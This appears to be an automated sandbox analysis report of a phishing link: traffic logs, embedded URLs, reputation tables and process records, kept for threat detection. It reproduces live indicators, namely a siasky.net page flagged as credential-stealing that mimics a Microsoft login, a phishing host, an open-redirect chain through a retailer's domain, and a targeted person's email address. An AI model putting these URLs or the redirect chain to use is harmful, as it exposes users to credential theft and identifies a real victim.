Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: aadcdn.msftauth.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: aadcdn.msftauth.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: logincdn.msauth.net
Source: global traffic	HTTP traffic detected: GET /?id=peter@deep-tree.com HTTP/1.1Host: uzeljxrx.yo4eisc.oxygenalmas.irConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://apis.google.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr	String found in binary or memory: https://content-autofill.googleapis.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, 96a20150-f83e-49f2-86db-68869501684d.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr, fcda6764-7008-41be-8eab-c0373b28bcd5.tmp.1.dr	String found in binary or memory: https://dns.google
Source: d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://play.google.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr	String found in binary or memory: https://r4---sn-1gi7znek.gvt1.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr	String found in binary or memory: https://sender.petanitest.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, craw_window.js.0.dr, craw_background.js.0.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	String found in binary or memory: https://www.gstatic.com

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Name	IP	Active	Malicious	Reputation
d1nhsro6ypf0az.cloudfront.net	143.204.215.51	true	false	high
siasky.net	80.82.77.136	true	false	unknown
cs1100.wpc.omegacdn.net	152.199.23.37	true	false	unknown
accounts.google.com	142.250.185.205	true	false	high
sender.petanitest.com	103.145.227.164	true	false	unknown
part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
cs1227.wpc.alphacdn.net	192.229.221.185	true	false	unknown
clients.l.google.com	142.250.186.110	true	false	high
mileskimball-content.e.alterian.net	52.9.15.247	true	false	unknown
part-0032.t-0009.fbs1-t-msedge.net	13.107.219.60	true	false	unknown
uzeljxrx.yo4eisc.oxygenalmas.ir	95.216.56.101	true	false	unknown
passwordreset.microsoftonline.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
us-east-2.protection.sophos.com	unknown	unknown	false	high
code.jquery.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
ajax.aspnetcdn.com	unknown	unknown	false	high
content.mileskimball.com	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://dns.google	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, 96a20150-f83e-49f2-86db-68869501684d.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr, fcda6764-7008-41be-8eab-c0373b28bcd5.tmp.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://sender.petanitest.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr	true	13%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://play.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
https://www.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://clients2.googleusercontent.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://apis.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://www.google.com/	manifest.json.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://clients2.google.com	22048632-7985-4d22-8990-dc9860186be4.tmp.1.dr, d3b489e2-338f-45a4-a6ce-5462e25bd249.tmp.1.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json.0.dr	false		high

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1572,12915578667704685696,5038448161639413304,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://us-east-2.protection.sophos.com/?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVmaVZZZkdEaVJOSkRGU3RBUXpwMmc5anZ1ND0=&h=f05993dfec9a48d3bf0e17818ef3f2c9
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1572,12915578667704685696,5038448161639413304,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source	Detection	Scanner	Label	Link
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
http://uzeljxrx.yo4eisc.oxygenalmas.ir/?id=peter@deep-tree.com	0%	Avira URL Cloud	safe
https://dns.google	0%	URL Reputation	safe
https://sender.petanitest.com	13%	Virustotal		Browse
https://sender.petanitest.com	100%	Avira URL Cloud	phishing
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0	15%	Virustotal		Browse
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	URL Reputation	safe
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_szor2ujtsn_b-ik0b744ha2.js	0%	URL Reputation	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	URL Reputation	safe
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	15%	Virustotal		Browse
https://sender.petanitest.com/api/getBackground	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://uzeljxrx.yo4eisc.oxygenalmas.ir/?id=peter@deep-tree.com	false	Avira URL Cloud: safe	unknown
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0	true	15%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	URL Reputation: safe	unknown
https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZzH_eiV3vvafOv8B0&mkt=en-GB&hosted=0&device_platform=Windows+10	false		high
https://content.mileskimball.com/?FFjsyR1SJ95xn9f21v9fMuqSokdbEKsUF&http://UZEljxrX.YO4eisc.oxygenalmas.ir/?id=peter@deep-tree.com	false		high
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_szor2ujtsn_b-ik0b744ha2.js	false	URL Reputation: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	URL Reputation: safe	unknown
https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	true	15%, Virustotal, Browse SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://sender.petanitest.com/api/getBackground	true	Avira URL Cloud: phishing	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.205	accounts.google.com	United States	15169	GOOGLEUS	false
52.9.15.247	mileskimball-content.e.alterian.net	United States	16509	AMAZON-02US	false
13.107.246.60	part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
103.145.227.164	sender.petanitest.com	unknown	139456	IDNIC-NSR-DEWAWEB-AS-IDPTDEWAWEBID	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
95.216.56.101	uzeljxrx.yo4eisc.oxygenalmas.ir	Germany	24940	HETZNER-ASDE	false
192.229.221.185	cs1227.wpc.alphacdn.net	United States	15133	EDGECASTUS	false
142.250.186.110	clients.l.google.com	United States	15169	GOOGLEUS	false
143.204.215.51	d1nhsro6ypf0az.cloudfront.net	United States	16509	AMAZON-02US	false
152.199.23.37	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
80.82.77.136	siasky.net	Netherlands	202425	INT-NETWORKSC	false

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679468
Start date and time: 05/08/202220:47:14	2022-08-05 20:47:14 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://us-east-2.protection.sophos.com/?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVmaVZZZkdEaVJOSkRGU3RBUXpwMmc5anZ1ND0=&h=f05993dfec9a48d3bf0e17818ef3f2c9
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@33/99@13/13
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Browse: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZzH_eiV3vvafOv8B0&mkt=en-GB&hosted=0&device_platform=Windows+10

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	low
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

